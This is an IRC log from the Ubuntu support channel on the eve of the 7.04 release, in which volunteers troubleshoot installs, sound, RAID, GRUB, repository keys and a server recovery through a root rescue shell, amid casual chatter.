[04:58] <warior> lolman i already have ctl device HW, PCM device HW
[04:58] <lolman> Bokeh, I just said use a live cd and chroot :)
[04:59] <nite613_> Where do I go for help with installing? Can't get past the bootsplash screen, even with alternate grtaphics mode, safe mode, etc
[04:59] <Bokeh> and a tip: don't be a jackass. people here are helping other people for free, and for fun.
[04:59] <Bokeh> if you're a jackass, you can expect people to start ignoring you.
[04:59] <n00tz> alright, I'm tying to install Ubuntu Server (Dapper) I've never tried to use the Software RAID before, but here's my problem: Disk partitioner --> Configure software RAID .. I Create the MD device as a RAID 5 on all 6 of my SCSI disks (no spares) and finish. it restarts the partiioner... and I tell it to guided partition te RAID device.. I tell it to erase the entire disk and install how it wishes..
[04:59] <n00tz> and I get this message =  Error informing the kernel about modifications to partition /dev/md/0p1 -- invalid argument. This means linux won't know about any changes you made to /dev/md 0p1 until you reboot so you shouldnt mount it or use it in any way before rebooting
[04:59] <Toma-> nite613_: heres a good place to start. are you getting any errors?
[04:59] <porkpie> ubuntuEdgy:no ... Package libapache2-mod-fastcgi is not available, but is referred to by another package.
[04:59] <porkpie> This may mean that the package is missing, has been obsoleted, or
[04:59] <porkpie> is only available from another source
[04:59] <porkpie> E: Package libapache2-mod-fastcgi has no installation candidate
[04:59] <Bokeh> backz: i'd personally not go for feisty just yet, there's bound to be a few bugs that need to be sorted out
[04:59] <lolman> warior, all I can suggest is to look at the Cedega FAQ pages etc, they'll be much more helpful than me, since I don't use Cedega
[04:59] <jsgotangco> bugs? what bugs? :)
[05:00] <warior> lolman :(
[05:00] <warior> any can help with cedega ?
[05:00] <Toma-> warior: whats wrong?
[05:00] <nite613_> Toma: No, or if so it's unreadable. The boot splash with progress bar comes up and then it never goes away. Some screen funniness (random pixelly dots) eventaully appear. Is there just a way to get rid of the %$#*ing bootsplash so I can see the messages?
[05:00] <Bokeh> you can always install edgy today and upgrade to feisty in a few weeks if you decide you want more modern software
[05:00] <warior> Toma- i have no sound while running teamspeak
[05:00] <drewzf> I can't reboot the system.
[05:01] <lungan> I have a problem, my internet disconnect every 30 sec and then i need to reload internet i dont have the problem when im in windows :S
[05:01] <drewzf> It's being used for MySQL + Web, which are still working
[05:01] <rambo3> nite613_, on alternatie cd ?
[05:01] <Bokeh> well, then you'll have to schedule maintainance.
[05:01] <drewzf> I have to stay late to reboot it with a live cd to implement a backup of the etc directory
[05:01] <CapaH> I am using Ubuntu on Dual Monitors --- However, I cannot switch applications/windows from one monitor to another *nor* can I start an application so that it in fact starts on the monitor I start it with. Can anyone help me on this?
[05:01] <Bokeh> and what have you learned today: do not screw with the /etc of a production system :)
[05:01] <drewzf> Bokeh: I didn't screw with it at all
[05:01] <malte> hello, i tried to install edgy- from live-cd. when booting i see the splash-screen and then the screen goes black. i tried several resolution and the "safe-settings". any ideas?
[05:02] <drewzf> Bokeh: another tech unrarred a file to it and it moved everything from /etc/ to /etc/xml/
[05:02] <ubuntuEdgy> porkpie: are you trying to install it , also did you enable multiverse and universe ?
[05:02] <nite613_> rambo: Nope, Kubuntu latest.
[05:02] <warior> new problem is that there is no working xmms i have set alsa in it but still error couldnt open audio your soundcard is not configured properly...
[05:02] <Bokeh> ok, then tell the others techs not to screw with the /etc of a production system.
[05:02] <Toma-> nite613_: yeh you can. the options are in the Advanced Options somewhere... cant remember off the top of my head :( try googling for a "kernel option to remove splash"
[05:02] <Dr_willis> malte,  at the grub boot stuff  try the 'nosplash' and 'nofb' options - you may see some output/errors then.
[05:02] <lolman> warior, I've had nothing but trouble with TeamSpeak myself
[05:02] <drewzf> Bokeh: I apologize for calling you a retard.
[05:02] <n00tz> apparently my problem is too complex for anyone to respond to on IRC...
[05:02] <Bokeh> cheers :)
[05:02] <Toma-> warior: are you using linux teamspeak or windows?
[05:02] <drewzf> Bokeh: Just got pissed at the situation.
[05:03] <Bokeh> nps mate
[05:03] <Bokeh> i can imagine, i get it sometimes as well :)
[05:03] <backz> Bokeh, LTS is better than edgy? because I can't be problems with php5, kernel or mysql5. I'll use lighttpd too...
[05:03] <rambo3> Dr_willis, does live cd need live as param ?
[05:03] <porkpie> ubuntuEdgy:yeah
[05:03] <malte> Dr_willis, thanks. is it maybe an option to start a text-based installer and install X-server and gnome later?
[05:03] <warior> Toma- linux
[05:03] <drewzf> backz: LTS has been tested a lot more thorougly and is long term support.
[05:03] <Dr_willis> rambo3,  not that ive ever seen. I rarely use the live cd however.
[05:03] <Toma-> drewzf: so, you cant reboot a system, and you want instantaneous acessto root?
[05:03] <Bokeh> backz: LTS has longer support on security and updates, that's basically the difference
[05:03] <nite613_> Toma-: Aha! Found it! Just have to REMOVE the "splash" option on the kernel boot line
[05:04] <drewzf> Toma-: Without the ability to input anything to a password field.
[05:04] <Bokeh> do you have a serial console connected to it?
[05:04] <Toma-> nite613_: cool :) let us know the errors, then we can help
[05:04] <Bokeh> or an on-site engineer to powercycle the thing?
[05:04] <Toma-> drewzf: you dont have a keyboard?
[05:04] <porkpie> ubuntuEdgy:I have universe enabled
[05:04] <Bokeh> Toma-: it's offsite most likely.
[05:05] <Slart> any webcam-ninjas around? I'm trying to get a Logitech Ultra Vision webcam running
[05:05] <n00tz> can anyone see this message
[05:05] <n00tz> can anyone see this spam?
[05:05] <n00tz> I'm not getting any help
[05:05] <n00tz> I've stated my problem twice
[05:05] <Andeh> Hello. If i installed ubuntu on a ReiserFS (not Reiser4) partition today, could i update it normally tomorrow or would the update mess something up?
[05:05] <Bokeh> should work out fine Andeh
[05:05] <jsgotangco> Andeh: there shouldn't be any problem
[05:05] <Toma-> n00tz: youve got a massive problem. try simplifying it and someone might read it
[05:05] <Slart> Andeh: I doubt the update would break reiserfs
[05:05] <Andeh> Ok then
[05:06] <drewzf> Toma-: it's running through a KVM, yes I have keyboard and monitor, it's onsite.
[05:06] <Slart> Andeh: if it does, I'm in deep dodo too =/
[05:06] <jsgotangco> Andeh: actually the only updates to be installed are update-manager and update-manager-core
[05:06] <Andeh> Slart: loll
[05:06] <Skiptest> ubuntuEdgy: been using Knoppix, might try Gnoppix
[05:06] <ubuntuEdgy> porkpie:  enable multiverse too
[05:06] <Andeh> ...???
[05:06] <jsgotangco> if you have installed 04152007 image
[05:06] <drewzf> Toma-: The password input is somehow bypassed
[05:06] <Andeh> In the update to Feisty?
[05:06] <n00tz> Toma-: thanks for a response
[05:06] <Enquest> Hi I got a problem with acpi... How can I controll the fan for my desktop?
[05:06] <soc> hi
[05:06] <Enquest> its always running
[05:06] <soc> i reinstalled grub with grub-install
[05:06] <porkpie> ubuntuEdgy:just did apt-cache returns nothing
[05:06] <soc> an know i get error 15 in grub
[05:06] <nite613_> Toma-: Okee, took "quiet" and "splash" out of the boot options, not it actually boots cleanly and gets me to a prompt. Do I have to run the installer by hand now or something?
[05:06] <Andeh> Reiser4 seems to be unstabler and less suported than ReiserFS, right?
[05:06] <Bokeh> drewzf: if you have a KVM, there's a way to get in if you have the time to reboot the system.
[05:07] <soc> "File not found"
[05:07] <Bokeh> reiser4 is still in development
[05:07] <nite613_> This is the kubuntu install disk, BTW
[05:07] <ubuntuEdgy> Skiptest:good luck, and enjoy.
[05:07] <Andeh> Which Reiser* are you using?
[05:07] <soc> how can i make it boot again?
[05:07] <jsgotangco> Andeh: yes
[05:07] <Andeh> (whoever is)
[05:07] <Toma-> nite613_: what kind of prompt? $ or #?
[05:07] <soc> reiserfs
[05:07] <Andeh> Oh good then
[05:07] <nite613_> $  it's the ubuntu user 999
[05:07] <soc> wouldn't recommend reiser4
[05:07] <Bokeh> same here
[05:07] <ubuntuEdgy> porkpie: make shure you have all the write stuff enabled. then run sudo apt-get update
[05:07] <soc> someone?
[05:07] <warior> 17:06 -!- jipi [n=jipi@cm128.delta240.maxonline.com.sg]  has quit ["Leaving"] 
[05:07] <Andeh> All ive heard about Reiser4 (except on the official side :-D) is crap, i'll stick with ReiserFS
[05:07] <Toma-> drewzf: imho, its a bash issue. how are you connecting to this machine?
[05:07] <drewzf> Bokeh: I have to reboot now, have to modify php ini
[05:08] <drewzf> Bokeh: What do I need to do?
[05:08] <soc> i really could need some help ...
[05:08] <soc> please ...
[05:08] <drewzf> Toma-: I'm standing in front of it at a rack
[05:08] <drewzf> Interfacing via kvm
[05:08] <Toma-> ahh
[05:08] <drewzf> I believe the issue came about when my /etc/ directory disappeared
[05:08] <Bokeh> drewzf: reboot the machine through your KVM, then when grub pops on the bootloader, you will need to stop it from autobooting by pressing escape
[05:08] <Toma-> yeh thatll do it. you kill /etc, you kill the system essentially
[05:09] <Bokeh> then, you will have to edit your default bootloader command and add init=/bin/sh
[05:09] <Lbawinowns> Excuse me, is feisty out yet? Or is it just rumors?
[05:09] <Bokeh> that will give you a rescue shell
[05:09] <nite613_> So why didn't the installer run? :P
[05:09] <Bokeh> after that, you will have to do mount -o remount,rw /
[05:09] <Andeh> If i wanted to install ubuntu on ReiserFS, what would be the best way to do it?
[05:09] <Andeh> I think I'll just do a /home backup on my external HDD and put in a Xubuntu Feisty disc tomorrow, format it and then what? Just format it as ReiserFS in Gparted in the install and proceed normally?
[05:09] <Bokeh> this will allow you to edit files on the root file system.
[05:09] <Toma-> Slart: it *should* be detected and loaded with the spca5xx driver
[05:09] <rambo3> @time London
[05:09] <ubotu> Current time in Europe/London: April 18 2007, 16:09:41 - Next meeting: Development Team in 23 hours 50 minutes
[05:09] <Toma-> nite613_: not sure. try running 'startx'
[05:09] <Lbawinowns> !feisty lbawinowns
[05:09] <eck> soc: check that you have grub pointed at the right partition
[05:10] <Bokeh> that way, you can do stuff like ifconfig eth0 up to get your network running, and you'll be able to scp your backed up /etc to your system.
[05:10] <s1`_> Ubuntu starts with Xubuntu's GDM, can i change to the Ubuntu GDM somewhere? ( I have both installed)
[05:10] <Andeh> Anyone??
[05:10] <Toma-> Slart: scratch that, its the 'linux-uvc' driver youll need for it
[05:10] <Bokeh> Andeh: yeah, that should work.
[05:10] <Andeh> Bokeh: Yay
[05:10] <Bokeh> choose reiserfs and proceed normally.
[05:10] <Slart> Toma-: mm.. I've tried both of those..
[05:11] <n00tz> is there a way to set up md (software RAID) before an install, and just have it install to the md device after a reboot (because it's throwing a fit that I'm not restarting before mounting/writing data)
[05:11] <Andeh> s1'_: You should be able to choose at the login prompt, click on sessions or something
[05:11] <abelard> I have a cd that wasd given to me , and it's supposed to have a collection of photos on it. When I open in Win2k, it has a folder and then the pictures, but in Linux it only shows me an autorun.inf , udfrchk.exe , and udfrinst.zl
[05:11] <Toma-> Slart: have you checked 'dmesg' for errors?
[05:11] <Bokeh> n00tz: this was a major problem with older feisty installs.
[05:11] <Slart> Toma-: but it seems very... well.. unstable.. some programs work.. others don't.. the only thing I can get any images from is a spcial little uvc thingy.. vlc doesn't work, ekiga doesn't work...
[05:11] <Bokeh> only way to fix it was to hack the initrd yourself, or forget about MD with feisty, i've had it myself
[05:11] <n00tz> I'm not using Feisty, I'm using Edgy and Dapper to try it
[05:11] <Bokeh> odd
[05:11] <Andeh> I have to go into Windows to burn a DVD for my mum, ubuntu has ruined 6 DVDs trying... >_<
[05:11] <graulich> I could swear just this morning I saw a post on the Ubuntu blog about how to get Feisty now and just d/l changes tomorrow. Can't find it now. What am I missing here?
[05:12] <Andeh> But of course, this HAS to be my fault somehow...
[05:12] <Slart> Toma-: It finds the camers.. it wont identify it though.. might be a new usb id nbr in my batch though.. everyone says it's supposed to be ok
[05:12] <rambo3> graulich, daily build
[05:12] <n00tz> lol
[05:12] <Andeh> Goodnight
[05:12] <warior> Toma- any ideas why xmms and CS have no sound whule running TS?
[05:12] <Andeh> OOps
[05:12] <Andeh> *Bye
[05:12] <soc> eck: i just looked at it
[05:12] <soc> it has to be correct
[05:12] <Toma-> warior: you dont have dmix
[05:13] <Toma-> !dmix | warior
[05:13] <ubotu> warior: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[05:13] <Slart> Toma-: Actually I think it uses both the spca5XX and linux-uvc... at least it looks that way from the lsmod output
[05:13] <graulich> rambo3: yeah but there's some nice cl app that can update today's daily build with tomorrow's final changes...
[05:13] <eck> soc: if you have more than one drive, also check the device mapping
[05:13] <soc> no, laptop only one driv
[05:13] <n00tz> !md | n00tz
[05:13] <soc> drive
[05:13] <warior> ubotu i have salected alsa :)
[05:13] <StOORm> s
[05:13] <warior> Toma- going to try dmix
[05:13] <Bokeh> anyway, afk. work's done for today :)
[05:13] <Lbawinowns> hey comon guys!, don't you tell me you don't know if feisty is out :-/
[05:13] <Toma-> Slart: interesting. well the UVC driver has no V4L1 support, so that might explain some of the compatibility issues, but v4l2 is alot more widespread..
[05:14] <crimsun> Lbawinowns: it's not out.
[05:14] <n00tz> Tomorrow
[05:14] <Toma-> warior: good luck :)
[05:14] <Lbawinowns> OK, thanks
[05:14] <rambo3> graulich, you are thinking of update-manager -c
[05:14] <Slart> Toma-: hm.. does ubuntu come with both l4v1 and l4v2?
[05:14] <Slart> !lfv
[05:14] <ubotu> Sorry, I don't know anything about lfv - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[05:14] <Toma-> Slart: you bet
[05:14] <nomasteryoda> Lbawinowns, the Repos are frozen... it won't be long now...
[05:15] <gigel> ola
[05:15] <quaal> anyone use gnucash
[05:15] <graulich> no rambo3, it was something that starts with an r and needs a special r***:// url to get stuff... My brain is no good at memory early in the morning.
[05:15] <eck> soc: i'm not really sure what to say, you just have to check it very carefully
[05:15] <warior> Toma- and where is it :D i cant find it in synaptic
[05:15] <eck> graulich: rsync
[05:15] <gigel> rebeca ese aqui
[05:15] <Toma-> warior: its not a package :)
[05:15] <graulich> eck:  that's the one!! thanks!
[05:15] <Lbawinowns> Does anyone have the issue that hibernate mode does not work? When I do hibernate it just locks the screen. But maybe it will automatically fix  with feisty?
[05:15] <warior> Toma- what is it :D
[05:16] <elliotjhug> lbawinowns: what do you run right now?
[05:16] <philip> ok so it's April 19th in some parts of the world already
[05:16] <eck> graulich: i wouldn't bother with rsync, i would just install a nightly and then use apt to update
[05:16] <Toma-> !dmix > warior
[05:16] <Lbawinowns> edgy
[05:16] <philip> let the fawn loose!
[05:16] <Toma-> warior: read ;)
[05:16] <Skiptest> Lbawinowns: Synaptics touchpad won't hybernate in XP
[05:16] <graulich> eck: any downside to installing today's nightly?
[05:16] <philip> there hasn't been a nightly since April 15th, I checked
[05:16] <eck> graulich: not if everything works... i think the nightly build has actually not been updated for a few days, it could be the same as what is going to be released
[05:16] <Lbawinowns> skiptest , what is synaptics and what is touchpad :p?
[05:17] <graulich> oh cool eck, I'll get it now...
[05:17] <nrgy> I have the 4.15 nightly and only had 2 updates since
[05:17] <nite613_> Toma-: I'm making progress. Turns out that KDM is running, and if I type startx it tries to load the ATI driver but fails unhappily. I figure I need to get X started with the vesa driver instead
[05:17] <graulich> hey, is it better to install the nightly from an image, through update-manager or through aptitude?
[05:17] <warior> Toma- still not understand, noob inside
[05:17] <philip> I'm sticking to the final release so i can use that same CD across multiple comps
[05:17] <warior> !dmix > warior
[05:18] <elliotjhug> Lbawinowns: I can't find a bug on launchpad about it. What hardware you running?
[05:18] <gils> what is the best file encryption program i can get for ubuntu?
[05:18] <Skiptest> Lbawiowns: even with external mouse, new driver, etc...
[05:18] <rambo3> !best | gils
[05:18] <ubotu> gils: Usually, there is no single "best" application to perform a given task. It's up to you to choose among a number of different applications, depending on your preferences, the features you require, and other factors.
[05:18] <eck> graulich: getting the nightly would only be if you want to do a fresh install. if you just want to upgrade you can use update-manager/apt/aptitude/whatever
[05:18] <Toma-> nite613_: brilliant deduction. do you know how to do all that?
[05:18] <Lbawinowns> elliotjhug , intel inside pentium 4, compaq computer....
[05:18] <nite613_> Toma-: Yep. X is now loading
[05:19] <graulich> eck: oh so I should just add all the feisty repos and run whichever app I want?
[05:19] <matthew> what do I need to do in order to get grub to go out and look at my partitions and update the menu list?
[05:19] <elliotjhug> Lbawinowns: Laptop or Desktop?
[05:19] <Doa`> no
[05:19] <nameless> there are a way to use alsaconf on ubuntu ?
[05:19] <eck> graulich: yeah, there's some magic option that you can use if you want to use update-manager, if you are using apt you can just update your sources.list
[05:19] <Lbawinowns> elliotjhug: desktop
[05:19] <gils> ok  well excuse my bad use of "best"
[05:19] <juckum> when i burn a normal ubuntu.iso file to a dvd-r disk, will it burn as a live-cd?
[05:20] <kneeki> !hello
[05:20] <ubotu> Sorry, I don't know anything about hello - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[05:20] <kneeki> boo
[05:20] <kevinOoO> juckum yes
[05:20] <gils> can someone mention any encryption programs
[05:20] <juckum> ok
[05:20] <juckum> thanks
[05:20] <elliotjhug> Lbawinowns: I'd suggest seeing if it works in fesity, if you plan to upgrade. if it does great. Otherwise report a bug.
[05:20] <graulich> eck: back when Edgy hit the burners I heard update-manager is smarter at conflict resolution for these things... I'll go ahead with that then.
[05:20] <kevinOoO> np
[05:20] <kneeki> Anyone know how I go about minimizing a terminal window while its running a process?
[05:20] <Lbawinowns> in fact, neither does my rest mode work. (the orange one)
[05:20] <abelard> I have a cd that wasd given to me , and it's supposed to have a collection of photos on it. When I open in Win2k, it has a folder and then the pictures, but in Linux it only shows me an autorun.inf , udfrchk.exe , and udfrinst.zl
[05:21] <Lbawinowns> Ok, I'll wait for feisty, after that I'll try and see what happens :)
[05:21] <kneeki> ...
[05:21] <walk3r> what time of countdown using?
[05:21] <nilleso_> kneeki, try using dcop with konsole
[05:21] <gils> i am looking for a standard encryption program, any suggestions?>
[05:21] <eck> graulich: yes, i believe that in theory update-manager is scriptable and can handle tricky things that apt cannot, but i'm not sure if that has actually been an issue for any releases yet
[05:21] <kneeki> Nevermind, I can just click the X =P
[05:21] <elliotjhug> Lbawinowns: great
[05:21] <soc> is there a way to regenerate the files in /boot?
[05:21] <kevinOoO> abelard, are there any folders?
[05:21] <nameless> there are a way to use alsaconf on ubuntu ? :S
[05:21] <kneeki> I was afraid doing that would kill the app I just ran
[05:21] <elliotjhug> Lbawinowns: Not a long wait now anyway :)
[05:21] <Lbawinowns> or my rest mode works, but the screen keeps black when i activate it again...
[05:22] <Skiptest> elliotjhung: will fiesty be available in Gnoppix (LiveCD)?
[05:22] <kneeki> !wallpaper
[05:22] <ubotu> Sorry, I don't know anything about wallpaper - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[05:22] <kevinOoO> abelard
[05:22] <abelard> no, there are no folders, just those three files
[05:22] <kneeki> Dang!
[05:22] <gils> encryption programs, anyone?
[05:22] <section31> I just formatted a 500 gig hard drive to ext3 and over 100 megs are being used.  Why is that?
[05:22] <elliotjhug> gils: have you googled?
[05:22] <warior> Toma- NOTE: For ALSA 1.0.9rc2 and higher you don't need to setup dmix. Dmix is enabled as default for soundcards which don't support hw mixing. but i have installed alsa 1.2
[05:23] <kevinOoO> abelard the photos are stored in the zl file im assuming, souds like you need a program that handles .zl files
[05:23] <Cosmo_> in the nvidia-settings it is no longer showing my second monitor or letting me make adjustments to it like I was able to do before, how do I fix this?
[05:23] <roler> so whats up with ubuntu.com saying 7.04 will be out tomorrow, when tomorrow is today?
[05:23] <Toma-> warior: ok, maybe something is using OSS rather than ALSA for mixing?
[05:23] <kneeki> Anyone know of a good Wallpaper application to easily setup wallpaper/gradients for your desktop?
[05:23] <Lbawinowns> gils: Im not certain at all, but you can search at synaptic too :), maybe it has
[05:23] <abelard> Can't be, the .zl file is only 378 kb
[05:24] <nrgy> roler, its not the 19th everywhere
[05:24] <gils> ok thanks
[05:24] <elliotjhug> roler: Its not today for me.. Wait for the timezones to catch up. *Is impatient for release too*
[05:24] <warior> Toma- for example?
[05:24] <roler> ya, I guess I knew that but i'm anxious too. :)
[05:24] <Juhaz> roler, huh?
[05:24] <Toma-> warior: make sure teampseak and xmms and cedega are all using alsa
[05:24] <roler> so when is it ubuntu.com's 19th ? :)
[05:25] <kevinOoO> abelard, ok how big is the exe file?
[05:25] <Juhaz> UTC
[05:25] <elliotjhug> roler: Last time the release came around the afternoon for me in the UK...
[05:25] <elliotjhug> roler: if it is UTC as Juhaz says then its the 19th in just under 8 hours time, if it released at midnight
[05:25] <kevinOoO> abelard have you tried opening it with wine?
[05:26] <Juhaz> it probably isn't released at midnight, but who knows. not that it matters, few hours here or there
[05:27] <walk3r> Juhaz, what timezone?
[05:27] <roler> elliotjhug; well i'm in The US in California. Lol
[05:27] <nite613_> Yay the installer is running
[05:27] <elliotjhug> Juhaz, roler: yeah I remember edgy was around afternoonish for the UK. Best to wait on IRC I suppose.
[05:27] <conceited> hi everyone.
[05:27] <elliotjhug> hi conceited
[05:27] <abelard> yeah, it doesn't seem to work
[05:28] <Hoxxin> gees why does it have to be so hard to get flash to work in opera
[05:28] <kevinOoO> abelard you tried to open the exe file manually?
[05:28] <abelard> yeah
[05:28] <cat> irc://irc.freenode.net/ubuntuforums
[05:29] <kevinOoO> abelard do you know what program packaged the file?
[05:29] <eck> Hoxxin: well, they're both nonfree, supporting either of them alone is difficult enough
[05:29] <drewzf> Now I'm getting read only file system errors
[05:29] <nilleso_> Hoxxin, have you tried easyubuntu?
[05:29] <JohnRobert> jrh@sarah /tmp $ sed s/\n/\<br \/\>/g
[05:29] <JohnRobert> sed: -e expression #1, char 7: unterminated `s' command
[05:29] <JohnRobert>  << any idea how I can escape <br /> properly in this context? :(
[05:29] <lwizardl> when I install quota and run quotacheck -avugm i get "quotacheck: WARNING - Quotafile //quota.user was probably truncated. Cannot save quota settings..." is this normal ?
[05:29] <Hoxxin> nilleso_: ye i tried with easyubuntu
[05:30] <drewzf> Bokeh: What should I do about read only filesystem errors?
[05:30] <drewzf> I can't copy over the necessary files unless I can write
[05:30] <insaniac> dont suppose anyone can help me, im sure this has been asked before but i cant seem to get my monitor refresh rate to 75.. its stuck at around 50
[05:30] <abelard> Roxio cd creator, I looked it up on Google
[05:30] <drewzf> and removing 'ro' from the grub config isn't helping
[05:30] <eck> JohnRobert: with quotes?
[05:31] <eck> drewzf: you do not need to remove ro, it is only in effect when the initrd is loading anyway
[05:31] <atomiku> selling ps3 for $50 pm me
[05:31] <kevinOoO> abelard one sec
[05:31] <USMarine> atomiku does it work?
[05:31] <lwizardl> Toma-, Thank you very much for telling me about scribus. Seems exactly what I want! :) Thank you again
[05:31] <drewzf> eck: Then why am I still getting the error once the filesystem is booted?
[05:31] <drewzf> How do I remount with writing? something? I need a fast fix
[05:31] <Toma-> lwizardl: no probs!
[05:32] <eck> drewzf: check fstab
[05:32] <billy> where are the system icons kept, such as the "shutdown" icon?
[05:32] <gnomefreak> atomiku: please do that somewhere else that is spamming and not allowed in here
[05:33] <atomiku> gnomefreak
[05:33] <atomiku> it was an /amsg
[05:33] <atomiku> i only ment it for one net
[05:33] <gnomefreak> atomiku: dont do that either
[05:33] <gigel> que pasa
[05:33] <lungan> java.lang.RuntimeException: No permission to write /usr/lib/mercury/Mercury.lax. Check error log.
[05:33] <lungan> what is wrong?
[05:33] <eck> billy: find /usr/share/icons -iname "*shutdown*"
[05:33] <gnomefreak> still spamming no matter how you went about doing it
[05:33] <michal_> hi
[05:33] <michal_> can I ask a question here or in priv?
[05:34] <USMarine> HER
[05:34] <kevinOoO> abelard I cant locate a linux program that opens those files. I would try to get to a windows pc and extract all the photos in there raw form into a folder
[05:34] <billy> thx eck
[05:34] <USMarine> E*
[05:34] <abelard> yeah ok
[05:34] <drewzf> fstab has /dev/sda2 reiserfs notail 0 1
[05:34] <eck> billy: if you just want to change the icon that is used, you can generally do that as a gconf setting
[05:34] <michal_> I was tryin to make an update of my package base
[05:34] <michal_> and got:
[05:34] <elliotjhug> lungan: What were you trying to do when you got that error?
[05:35] <billy> eck, i'm wanting to put a shutdown button (as is) on my panel.
[05:35] <michal_> W: GPG error: http://wine.budgetdedicated.com edgy Release: (.....) : NO_PUBKEY 58403026387EE263
[05:35] <w0rmy> hi can some one help me with an APT-GET problem ? it seems that I can install libasound2-devel (i get broken pipe error) is there anyway to prevent apt from installing it ?
[05:35] <PriceChild> michal_, "don't you 3rd party repositories". That' a warning, not an error... just get the wine apt key
[05:35] <PriceChild> *don't use 3rd
[05:35] <nate_> how can i enable access to /dev/imput/js0 ?  :O
[05:35] <drewzf> Why would my HDD mount as read only
[05:36] <drewzf> and how can I force it to mount with read/write?
[05:36] <kane77> how can I make icon labels on desktop have a solid background, so they are more visible (question mark doesnt work through vnc ;)
[05:36] <Mike> Hello,How do I add wlan0 to my services? So it works on boot
[05:36] <lolman> Mike, are you using NetworkManager or manually configured?
[05:36] <michal_> wine apt key?
[05:36] <Mike> I dont know :P. I set it up manually using Ndiswrapper last night i think
[05:36] <eck> drewzf: boot with all the verbose kernel crap turned on and see if the kernel prints anything useful
[05:37] <drewzf> eck: I did, it didn't.
[05:37] <lolman> Mike, can you pastebin your /etc/interfaces file?
[05:37] <elliotjhug> michal_: wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -
[05:37] <drewzf> eck: I need to force it to mount with write support
[05:37] <Mike> Nope sorry. No net on that PC.
[05:37] <drewzf> how can I ?
[05:37] <noget> hey can anybody tell me a channel with some programming help, specific for C language?
[05:37] <eck> noget: ##c
[05:37] <lolman> Mike, try sudo ifup wlan0
[05:37] <Mike> ok
[05:37] <noget> eck: thanks
[05:37] <lolman> If you've configured right it should get it a net connection
[05:37] <kane77> eck, damn you were faster ;)
[05:38] <Mike> It says cant read etc/network/interfaces file,
[05:38] <Mike> though it did yesterday
[05:38] <PriceChild> Mike, there's a / at the start
[05:38] <elliotjhug> michal_: Run the command I sent, that should fix it
[05:38] <PriceChild> Mike, /etc...
[05:38] <michal_> yea, working on it
[05:39] <conceited> sup elliotjhug
[05:39] <Mike> Sorry.
[05:39] <qiyong> where to get the ubuntu initrd.img package?
[05:39] <qiyong> for a normal system, not install system
[05:39] <lolman> Mike, seeing what is in your interfaces file would be extremely helpful, any chance of manually typing it into pastebin?
[05:40] <eck> qiyong: for an installed system there is an update-initramfs command
[05:40] <conceited> qiyong: sudo update-initramfs -u -k all
[05:40] <conceited> teehehe elliotjhug
[05:40] <nate_> how can i enable access to /dev/imput/js0 ?  :O
[05:41] <conceited> i am drinking gourmet hazlenut coffee
[05:41] <qiyong> eck: i am bootstrapping from another distro, i have grabbed ubuntu kernel package, i don't know where to get the initrd
[05:41] <conceited> with raw sugar and slim milk
[05:41] <ikkebr> any eta on ubuntu 7.04 final?
[05:41] <variant> nate_: does it exist?
[05:41] <nate_> yes
[05:41] <kane77> heh, Im doing upgrade to feisty on dads computer, pray that it all goes well :)
[05:41] <variant> ikkebr: some time this week probably tomorrow
[05:41] <conceited> raw sugar/sugar cane sugar from hawaii
[05:41] <variant> kane77: wait till tomorrow...
[05:41] <st9> Hi all. I am running ubuntu 7.04b and my laptop fan is always-on even at 0% cpu. What could be causing this?
[05:41] <nate_> the folder is made already i just get apremission denied error in snes9x
[05:41] <qiyong> conceited: what package update-initramfs in?
[05:41] <st9> kane77: yeah wait :)
[05:41] <variant> st9: #ubuntu+1 for feisty support
[05:42] <megafauna> Can someone recommend the best podcatchers for ubuntu pls?
[05:42] <st9> oh thank-you
[05:42] <conceited> all the initrd.img files
[05:42] <kane77> variant, I already started :P so there is no way back
[05:42] <eck> qiyong: initramfs-tools
[05:42] <conceited> big question...
[05:42] <variant> kane77: fair enough.. shouldn't have any issues
[05:42] <conceited> why would people want beryl?
[05:42] <Mike> No. Ill tell you what i added yesterday when it was working: auto wlan0 [Newline]  iface wlan0 inet dhcp [Newline]  hostname 192.168.0.1 [newline]  wireless_mode managed [newmode]  wireless-essid NETGEAR
[05:42] <qiyong> eck: so there's no initrd image package for a normal system?
[05:42] <variant> conceited: ask in #ubuntu-effects
[05:42] <conceited> it would be like using vista on top of linux
[05:42] <warior> everything is working but teamspeak makes problems this is the problem in the system
[05:42] <conceited> it's unstable
[05:42] <conceited> sucks up alot of ram
[05:42] <eck> qiyong: it is usually generated by apt each time you install a new kernel
[05:42] <variant> conceited: #ubuntu-effects please
[05:43] <elliotjhug> megafauna: http://www.podcastingnews.com/topics/Podcast_Software.html has some good ones
[05:43] <conceited> who wants a slow linux box?
[05:43] <conceited> oh sorry variant
[05:43] <conceited> i'll go yell at them
[05:43] <conceited> teehehe
[05:43] <elliotjhug> conceited: me me!
[05:43] <megafauna> conceited: about 100 megs of ram as opposed to 1.5 gig of Vista Ram
[05:43] <megafauna> elliotjhug Thanks!
[05:43] <kane77> besides Im using feisty ever since the herd4 and there were only minor issues (not counting the kernel bug lately, I blame that on friday the 13th :) )
[05:43] <variant> !offtpic
[05:43] <ubotu> Sorry, I don't know anything about offtpic - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[05:43] <variant> !offtopic
[05:43] <ubotu> #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[05:43] <ubuntule> Please i need help... i have windows vista & xp installed on my hdd... and after uninstaling ubuntu the boot menu did'nt work... now i'm running from ubuntu live cd
[05:43] <conceited> it has to do with ubuntu users
[05:43] <ubuntule> is there a boot manager to remake the boot menu ?
[05:43] <qiyong> eck: it is not in main
[05:43] <conceited> so it isn't off topic
[05:44] <conceited> d;P
[05:44] <ubuntule> pleaase help /!\ /!\ /!\
[05:44] <conceited> http://www.google.com/search?hl=en&q=ubuntu+initrd.img+package&btnG=Google+Search
[05:44] <megafauna> ubuntule: you have wiped out your MBR. restore it with the super grub disc
[05:44] <conceited> d;D
[05:44] <variant> ubuntule: there is an unofficial one you can find on the forum..
[05:44] <conceited> that should help
[05:44] <conceited> i heart google
[05:44] <Mike> anyone?
